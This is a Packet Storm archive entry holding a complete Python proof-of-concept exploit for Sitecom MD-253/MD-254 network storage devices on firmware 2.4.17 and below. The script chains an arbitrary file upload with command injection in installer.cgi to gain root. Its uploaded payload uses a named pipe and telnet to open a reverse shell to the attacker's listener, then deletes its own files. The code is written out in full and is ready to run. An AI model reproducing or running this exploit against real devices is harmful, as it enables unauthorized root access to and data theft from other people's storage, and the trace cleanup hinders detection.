Sitecom MD-25x Reverse Root Shell

2012-09-12T00:00:00
ID PACKETSTORM:116488
Type packetstorm
Reporter Mattijs van Ommeren
Modified 2012-09-12T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
#  
# Exploit Title: Sitecom MD-253 and MD-254 Network Storage Reverse Shell Exploit  
# Date: 09/11/12  
# Exploit Author: Mattijs van Ommeren (mattijs _ at _ alcyon _ dot _nl)  
# Vendor Homepage: http://www.sitecom.com  
# Software Link: http://www.sitecom.com/download/5012/SitecomNas.2.4.17.bin  
# Version: 2.4.17 and below  
# Tested on: Windows 7 x64 and Backtrack 5 R1  
# CVE : N/A  
#  
# This PoC exploit code demonstrates how several bugs in Sitecom MD-253 and MD-254 Network Storage  
# devices can be combined to obtain a root shell.  
#  
# Firmware versions up to and including 2.4.17 are affected by the following vulnerabilities:  
#  
# 1. The /cgi-bin/upload CGI used by the firmware update function allows arbitrary file uploads that are:  
# - granted execute permissions  
# - not removed after uploading if they don't contain valid firmware  
# - stored in a predictable location  
# 2. Installer.cgi contains a command injection vulnerability that allows one to run arbitrary commands as  
# root (only a limited character set can be used due to URL-encoding by CGI-handler)  
#  
# Known Limitations:  
# - Crude heuristics to determine whether a pseudo prompt needs to be echoed to stderr  
#  
# Vulnerability Details:  
# - http://www.alcyon.nl/advisories/aa-007  
# - http://www.alcyon.nl/advisories/aa-008  
#  
# Latest version of this exploit:  
# - http://www.alcyon.nl/blog/sitecom-poc-exploit  
#  
  
import sys  
import os  
import socket  
import thread  
import datetime  
from optparse import OptionParser  
  
upload_url = '/cgi-bin/upload'  
cmd_inj_url = '/cgi-bin/installer.cgi?SetExecTable&%s'  
sh_name = 'revsh'  
  
sh_script = """  
#!/bin/sh  
mknod /tmp/backpipe p  
telnet %s %s 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe  
# clean up our mess  
rm -f /tmp/backpipe  
rm -f /tmp/%s  
""".rstrip('\r')  
  
headers = """Host: %s\r  
User-Agent: Mozilla/5.0 (PwNAS 1.0; rv:1.0)\r  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r  
Accept-Language: en-us,en;q=0.5\r  
Proxy-Connection: close\r  
Referer: http://%s/firmware.htm\r  
Cookie: language=en;\r\n"""  
  
class Exploit:  
  
def stdin_thread(self, sock):  
try:  
fd = sys.stdin.fileno()  
while True:  
data = os.read(fd, 1024)  
if not data:  
break  
while True:  
nleft = len(data)  
nleft -= sock.send(data)  
if nleft == 0:  
break  
except:  
pass  
sock.close()  
self.running = False  
  
def stdout_thread(self, sock):  
last = datetime.datetime.now()   
try:  
fd = sys.stdout.fileno()  
while True:  
if (datetime.datetime.now()-last<datetime.timedelta(milliseconds=500)):  
sys.stderr.write('# '); # Insert fake prompt  
last = datetime.datetime.now()  
data = sock.recv(1024)  
if not data:  
break  
while True:  
nleft = len(data)  
nleft -= os.write(fd, data)  
if nleft == 0:  
break  
except Exception as e:  
print e  
pass  
sock.close()  
self.running = False  
  
def parse_options(self):  
parser = OptionParser(usage="usage: %prog [options]")  
parser.add_option("-r", "--remote-host", action="store", type="string", dest="hostname",  
help="Specify the host to connect to")  
parser.add_option("-l", "--listener-address", action="store", type="string", dest="listener_ip",  
help="Target IP for reverse shell connection")  
parser.add_option("-p","--port",action="store",type="int",dest="port",  
help="TCP port for the reverse shell connection")  
  
parser.set_defaults(hostname=None, listener_ip=None, port=7777)  
(options, args) = parser.parse_args();  
  
if(options.hostname == None):  
sys.stdout.write("Remote hostname/IP required\n")  
parser.print_help()  
sys.exit()  
  
#self.forced_bind = (options.listener_ip != None)  
self.listener_ip = options.listener_ip   
self.hostname = options.hostname  
self.port = options.port  
  
def start_local_listener(self):  
self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
self.serv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
  
try:  
self.serv.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)  
except socket.error:  
sys.stderr.write("[-] Unable to set TCP_NODELAY")  
  
try:  
self.serv.bind((self.listener_ip, self.port))  
except:  
print "[-] Unable to bind to given IP-address. Attempting to bind on default address. You probably need a #NAT/PAT rule if you're behind a firewall."   
try:  
self.serv.bind(('', self.port))  
except:  
print "[-] Unable to bind to default address. Aborting."  
sys.exit(2)  
  
print "[*] Listener started on %s:%s" % (self.serv.getsockname()[0], self.port)  
  
self.serv.listen(5)  
self.clientsock, addr = self.serv.accept()  
print "[*] Incoming connection from %s:%s" % (self.clientsock.getsockname()[0], self.clientsock.getsockname()[1])  
self.clientsock.send('/bin/busybox uname -a\n');  
banner = self.clientsock.recv(2048)  
if (banner.find('Linux'))>=0:  
print "[*] W00t W00t, got shell!\n\n%s\n" % banner   
thread.start_new_thread(self.stdin_thread, (self.clientsock,))  
thread.start_new_thread(self.stdout_thread, (self.clientsock,))  
  
def connect_socket(self):  
print "[*] Connecting..."  
try:  
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
self.socket.connect( (self.hostname, 80) )  
if not self.listener_ip:  
self.listener_ip = self.socket.getsockname()[0]  
print "[*] Connected to %s (%s) " % (self.hostname, self.socket.getpeername()[0])  
except Exception as inst:  
print inst  
print "[-] Unable to connect"  
sys.exit(2)  
  
def upload_payload(self):  
print "[*] Uploading payload\n"  
try:  
self.socket.send('POST %s HTTP/1.1\n' % upload_url)  
self.send_headers()  
ct = 'Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n'  
begin_file='-----------------------------41184676334\r\n\  
Content-Disposition: form-data; name="file"; filename="%s"\r\n\  
Content-Type: application/octet-stream\r\n\r'  
end_file='\r\n-----------------------------41184676334--\r\n'  
pl = ''.join([begin_file, sh_script, end_file]) % (sh_name, self.listener_ip, self.port, sh_name)  
cl = 'Content-Length: %s\r\n\r\n' % (len(pl))  
crlf = '\r\n'  
data = ''.join([ct,cl,pl,crlf])  
self.socket.send(data)  
if self.socket.recv(2048).find("200 OK")>=0 and self.socket.recv(2048).find('/tmp/'+sh_name)>=0:  
print "[*] Payload succesfully uploaded"  
self.socket.close()  
else:  
print "[-] Unexpected response. Trying to proceed anyway."   
except:  
print "[-] Error uploading payload. Aborting."  
sys.exit(2)  
  
def send_headers(self):  
data = headers %(self.hostname, self.hostname)  
self.socket.send(data)  
  
def execute_payload(self):  
print "[*] Executing payload"  
cmd = '/tmp/' + sh_name  
req = 'GET %s HTTP/1.1\r\n' % (cmd_inj_url % cmd)  
cr = '\r\n'  
self.socket.send(''.join([req,cr]))  
self.send_headers()  
if self.socket.recv(2048).find("200 OK")>=0:  
print "[*] Finished executing payload"  
self.socket.close()  
  
def run(self):  
self.line_buf = ''  
self.prompt = False  
self.parse_options()  
self.connect_socket()  
thread.start_new_thread(self.start_local_listener, ())  
self.upload_payload()  
self.connect_socket()  
self.execute_payload()  
print "[*] Waiting for reverse shell connection"  
self.running = True  
while self.running:  
pass  
  
exploit = Exploit()  
exploit.run()  
  
  
`